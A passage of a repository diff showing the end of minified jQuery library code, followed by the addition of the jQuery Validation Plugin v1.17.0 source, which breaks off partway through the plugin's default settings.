")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w("<script>").prop({charset:e.scriptCharset,src:e.url}).on("load error",n=function(e){t.remove(),n=null,e&&o("error"===e.type?404:200,e.type)}),r.head.appendChild(t[0])},abort:function(){n&&n()}}}});var Yt=[],Qt=/(=)\?(?=&|$)|\?\?/;w.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Yt.pop()||w.expando+"_"+Et++;return this[e]=!0,e}}),w.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=!1!==t.jsonp&&(Qt.test(t.url)?"url":"string"==typeof t.data&&0===(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&Qt.test(t.data)&&"data");if(s||"jsonp"===t.dataTypes[0])return i=t.jsonpCallback=g(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(Qt,"$1"+i):!1!==t.jsonp&&(t.url+=(kt.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||w.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){void 0===o?w(e).removeProp(i):e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string"!=typeof e)return[];"boolean"==typeof t&&(n=t,t=!1);var i,o,a;return t||(h.createHTMLDocument?((i=(t=r.implementation.createHTMLDocument("")).createElement("base")).href=r.location.href,t.head.appendChild(i)):t=r),o=A.exec(e),a=!n&&[],o?[t.createElement(o[1])]:(o=xe([e],t,a),a&&a.length&&w(a).remove(),w.merge([],o.childNodes))},w.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return s>-1&&(r=vt(e.slice(s)),e=e.slice(0,s)),g(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),a.length>0&&w.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?w("<div>").append(w.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},w.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){w.fn[t]=function(e){return this.on(t,e)}}),w.expr.pseudos.animated=function(e){return w.grep(w.timers,function(t){return e===t.elem}).length},w.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l,c=w.css(e,"position"),f=w(e),p={};"static"===c&&(e.style.position="relative"),s=f.offset(),o=w.css(e,"top"),u=w.css(e,"left"),(l=("absolute"===c||"fixed"===c)&&(o+u).indexOf("auto")>-1)?(a=(r=f.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),g(t)&&(t=t.call(e,n,w.extend({},s))),null!=t.top&&(p.top=t.top-s.top+a),null!=t.left&&(p.left=t.left-s.left+i),"using"in t?t.using.call(e,p):f.css(p)}},w.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){w.offset.setOffset(this,e,t)});var t,n,r=this[0];if(r)return r.getClientRects().length?(t=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:t.top+n.pageYOffset,left:t.left+n.pageXOffset}):{top:0,left:0}},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===w.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===w.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=w(e).offset()).top+=w.css(e,"borderTopWidth",!0),i.left+=w.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-w.css(r,"marginTop",!0),left:t.left-i.left-w.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===w.css(e,"position"))e=e.offsetParent;return e||be})}}),w.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n="pageYOffset"===t;w.fn[e]=function(r){return z(this,function(e,r,i){var o;if(y(e)?o=e:9===e.nodeType&&(o=e.defaultView),void 0===i)return o?o[t]:e[r];o?o.scrollTo(n?o.pageXOffset:i,n?i:o.pageYOffset):e[r]=i},e,r,arguments.length)}}),w.each(["top","left"],function(e,t){w.cssHooks[t]=_e(h.pixelPosition,function(e,n){if(n)return n=Fe(e,t),We.test(n)?w(e).position()[t]+"px":n})}),w.each({Height:"height",Width:"width"},function(e,t){w.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){w.fn[r]=function(i,o){var a=arguments.length&&(n||"boolean"!=typeof i),s=n||(!0===i||!0===o?"margin":"border");return z(this,function(t,n,i){var o;return y(t)?0===r.indexOf("outer")?t["inner"+e]:t.document.documentElement["client"+e]:9===t.nodeType?(o=t.documentElement,Math.max(t.body["scroll"+e],o["scroll"+e],t.body["offset"+e],o["offset"+e],o["client"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}}),w.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},"function"==typeof define&&define.amd&&define("jquery",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w}); diff --git a/public/js/jquery.validate.js b/public/js/jquery.validate.js new file mode 100644 index 0000000..12674b0 --- /dev/null +++ b/public/js/jquery.validate.js @@ -0,0 +1,1601 @@ +/*! + * jQuery Validation Plugin v1.17.0 + * + * https://jqueryvalidation.org/ + * + * Copyright (c) 2017 Jörn Zaefferer + * Released under the MIT license + */ +(function( factory ) { + if ( typeof define === "function" && define.amd ) { + define( ["jquery"], factory ); + } else if (typeof module === "object" && module.exports) { + module.exports = factory( require( "jquery" ) ); + } else { + factory( jQuery ); + } +}(function( $ ) { + +$.extend( $.fn, { + + // https://jqueryvalidation.org/validate/ + validate: function( options ) { + + // If nothing is selected, return nothing; can't chain anyway + if ( !this.length ) { + if ( options && options.debug && window.console ) { + console.warn( "Nothing selected, can't validate, returning nothing." ); + } + return; + } + + // Check if a validator for this form was already created + var validator = $.data( this[ 0 ], "validator" ); + if ( validator ) { + return validator; + } + + // Add novalidate tag if HTML5. + this.attr( "novalidate", "novalidate" ); + + validator = new $.validator( options, this[ 0 ] ); + $.data( this[ 0 ], "validator", validator ); + + if ( validator.settings.onsubmit ) { + + this.on( "click.validate", ":submit", function( event ) { + + // Track the used submit button to properly handle scripted + // submits later. + validator.submitButton = event.currentTarget; + + // Allow suppressing validation by adding a cancel class to the submit button + if ( $( this ).hasClass( "cancel" ) ) { + validator.cancelSubmit = true; + } + + // Allow suppressing validation by adding the html5 formnovalidate attribute to the submit button + if ( $( this ).attr( "formnovalidate" ) !== undefined ) { + validator.cancelSubmit = true; + } + } ); + + // Validate the form on submit + this.on( "submit.validate", function( event ) { + if ( validator.settings.debug ) { + + // Prevent form submit to be able to see console output + event.preventDefault(); + } + function handle() { + var hidden, result; + + // Insert a hidden input as a replacement for the missing submit button + // The hidden input is inserted in two cases: + // - A user defined a `submitHandler` + // - There was a pending request due to `remote` method and `stopRequest()` + // was called to submit the form in case it's valid + if ( validator.submitButton && ( validator.settings.submitHandler || validator.formSubmitted ) ) { + hidden = $( "<input type='hidden'/>" ) + .attr( "name", validator.submitButton.name ) + .val( $( validator.submitButton ).val() ) + .appendTo( validator.currentForm ); + } + + if ( validator.settings.submitHandler ) { + result = validator.settings.submitHandler.call( validator, validator.currentForm, event ); + if ( hidden ) { + + // And clean up afterwards; thanks to no-block-scope, hidden can be referenced + hidden.remove(); + } + if ( result !== undefined ) { + return result; + } + return false; + } + return true; + } + + // Prevent submit for invalid forms or custom submit handlers + if ( validator.cancelSubmit ) { + validator.cancelSubmit = false; + return handle(); + } + if ( validator.form() ) { + if ( validator.pendingRequest ) { + validator.formSubmitted = true; + return false; + } + return handle(); + } else { + validator.focusInvalid(); + return false; + } + } ); + } + + return validator; + }, + + // https://jqueryvalidation.org/valid/ + valid: function() { + var valid, validator, errorList; + + if ( $( this[ 0 ] ).is( "form" ) ) { + valid = this.validate().form(); + } else { + errorList = []; + valid = true; + validator = $( this[ 0 ].form ).validate(); + this.each( function() { + valid = validator.element( this ) && valid; + if ( !valid ) { + errorList = errorList.concat( validator.errorList ); + } + } ); + validator.errorList = errorList; + } + return valid; + }, + + // https://jqueryvalidation.org/rules/ + rules: function( command, argument ) { + var element = this[ 0 ], + settings, staticRules, existingRules, data, param, filtered; + + // If nothing is selected, return empty object; can't chain anyway + if ( element == null ) { + return; + } + + if ( !element.form && element.hasAttribute( "contenteditable" ) ) { + element.form = this.closest( "form" )[ 0 ]; + element.name = this.attr( "name" ); + } + + if ( element.form == null ) { + return; + } + + if ( command ) { + settings = $.data( element.form, "validator" ).settings; + staticRules = settings.rules; + existingRules = $.validator.staticRules( element ); + switch ( command ) { + case "add": + $.extend( existingRules, $.validator.normalizeRule( argument ) ); + + // Remove messages from rules, but allow them to be set separately + delete existingRules.messages; + staticRules[ element.name ] = existingRules; + if ( argument.messages ) { + settings.messages[ element.name ] = $.extend( settings.messages[ element.name ], argument.messages ); + } + break; + case "remove": + if ( !argument ) { + delete staticRules[ element.name ]; + return existingRules; + } + filtered = {}; + $.each( argument.split( /\s/ ), function( index, method ) { + filtered[ method ] = existingRules[ method ]; + delete existingRules[ method ]; + } ); + return filtered; + } + } + + data = $.validator.normalizeRules( + $.extend( + {}, + $.validator.classRules( element ), + $.validator.attributeRules( element ), + $.validator.dataRules( element ), + $.validator.staticRules( element ) + ), element ); + + // Make sure required is at front + if ( data.required ) { + param = data.required; + delete data.required; + data = $.extend( { required: param }, data ); + } + + // Make sure remote is at back + if ( data.remote ) { + param = data.remote; + delete data.remote; + data = $.extend( data, { remote: param } ); + } + + return data; + } +} ); + +// Custom selectors +$.extend( $.expr.pseudos || $.expr[ ":" ], { // '|| $.expr[ ":" ]' here enables backwards compatibility to jQuery 1.7. Can be removed when dropping jQ 1.7.x support + + // https://jqueryvalidation.org/blank-selector/ + blank: function( a ) { + return !$.trim( "" + $( a ).val() ); + }, + + // https://jqueryvalidation.org/filled-selector/ + filled: function( a ) { + var val = $( a ).val(); + return val !== null && !!$.trim( "" + val ); + }, + + // https://jqueryvalidation.org/unchecked-selector/ + unchecked: function( a ) { + return !$( a ).prop( "checked" ); + } +} ); + +// Constructor for validator +$.validator = function( options, form ) { + this.settings = $.extend( true, {}, $.validator.defaults, options ); + this.currentForm = form; + this.init(); +}; + +// https://jqueryvalidation.org/jQuery.validator.format/ +$.validator.format = function( source, params ) { + if ( arguments.length === 1 ) { + return function() { + var args = $.makeArray( arguments ); + args.unshift( source ); + return $.validator.format.apply( this, args ); + }; + } + if ( params === undefined ) { + return source; + } + if ( arguments.length > 2 && params.constructor !== Array ) { + params = $.makeArray( arguments ).slice( 1 ); + } + if ( params.constructor !== Array ) { + params = [ params ]; + } + $.each( params, function( i, n ) { + source = source.replace( new RegExp( "\\{" + i + "\\}", "g" ), function() { + return n; + } ); + } ); + return source; +}; + +$.extend( $.validator, { + + defaults: { + messages: {}, + groups: {}, + rules: {}, + errorClass: "error", + pendingClass: "pending", + validClass: "valid", + errorElement: "label", + focusCleanup: false, + focusInvalid: true, + errorContainer: $( [] ), + errorLabelContainer: $( [] ), + onsubmit: true, + ignore: ":hidden", + ignoreTitle: false, + onfocusin: function( element ) { + this.lastActive = element; + + // Hide error label and remove error class on focus if enabled + if ( this.settings.focusCleanup ) { + if ( this.settings.unhighlight ) { + this.settings.unhighlight.call( this, element, this.settings.errorClass, this.settings.validClass ); + } + this.hideThese( this.errorsFor( element ) ); + } + }, + onfocusout: function( element ) { + if ( 